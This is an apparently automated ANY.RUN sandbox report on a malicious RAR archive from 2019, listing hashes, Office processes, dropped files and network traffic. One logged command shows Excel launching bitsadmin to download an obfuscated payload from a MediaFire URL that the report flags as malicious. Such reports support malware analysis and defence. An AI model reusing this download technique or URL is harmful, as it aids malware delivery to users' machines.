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| File name: | Desktop.rar |
| Full analysis: | https://app.any.run/tasks/3db3307f-9c27-42e7-b94d-ea4473ad54c8 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 17, 2019, 13:56:33 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | 1F16979D530671DF56CCBD1788916AE2 |
| SHA1: | 5AFAD1669A747A79FCE644D6F49464538F608418 |
| SHA256: | 2760745578F106BA322A8ECC94D598FD34178F17B18E5DC4EEE845B0906F077C |
| SSDEEP: | 768:lyERyIBCBxw2ch+9geL+i/0H6gYJH1oz8eoKxwRYXBh9hO51WrBCzLzTly4VJOPA:VR/uxV2W9qU/JHGz8USmRh9hOn+BCzLF |
MALICIOUS
Uses BITADMIN.EXE for downloading application
- EXCEL.EXE (PID: 3404)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3404)
SUSPICIOUS
No suspicious indicators.INFO
Creates files in the user directory
- WINWORD.EXE (PID: 1820)
- EXCEL.EXE (PID: 2328)
- WINWORD.EXE (PID: 3600)
- WINWORD.EXE (PID: 2164)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1820)
- EXCEL.EXE (PID: 2328)
- WINWORD.EXE (PID: 2164)
- WINWORD.EXE (PID: 3600)
- EXCEL.EXE (PID: 3404)
- EXCEL.EXE (PID: 2240)
- EXCEL.EXE (PID: 2092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
45
Monitored processes
9
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2896 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Desktop.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
| 3600 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\test.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 2092 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
| 2328 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
| 1820 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\test.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 2240 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
| 2164 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\test.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3404 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
| 2564 | "C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://download1591.mediafire.com/nx8djn7ijmrg/lqn7rd8dez3cvmc/obfuscated.tmp C:\Users\admin\AppData\Local\Temp\\pepe.js | C:\Windows\System32\bitsadmin.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Version: 7.5.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
35 665
Read events
17 657
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
5
Text files
23
Unknown types
15
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRC1CF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3600 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\test.docx.LNK | — | |
MD5:— | SHA256:— | |||
| 2092 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRD9DB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2092 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\query[1].asmx | — | |
MD5:— | SHA256:— | |||
| 2328 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRD3BC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2328 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3F7B797B.png | — | |
MD5:— | SHA256:— | |||
| 2328 | EXCEL.EXE | C:\Users\admin\Desktop\~$SOC test.xlsm | — | |
MD5:— | SHA256:— | |||
| 2328 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF00CC503F7D4D2139.TMP | — | |
MD5:— | SHA256:— | |||
| 2328 | EXCEL.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\48AF2D40.png | — | |
MD5:— | SHA256:— | |||
| 3600 | WINWORD.EXE | C:\Users\admin\Desktop\~WRD0000.tmp | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
4
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2092 | EXCEL.EXE | GET | 200 | 52.109.88.8:80 | http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={538F6C89-2AD5-4006-8154-C6670774E980}&build=14.0.6023 | NL | xml | 1.99 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2092 | EXCEL.EXE | 52.109.120.29:443 | rr.office.microsoft.com | Microsoft Corporation | HK | whitelisted |
2092 | EXCEL.EXE | 52.109.88.8:80 | office14client.microsoft.com | Microsoft Corporation | NL | whitelisted |
2240 | EXCEL.EXE | 52.109.120.29:443 | rr.office.microsoft.com | Microsoft Corporation | HK | whitelisted |
— | — | 199.91.152.91:443 | download1591.mediafire.com | MediaFire, LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
office14client.microsoft.com |
| whitelisted |
rr.office.microsoft.com |
| whitelisted |
download1591.mediafire.com |
| malicious |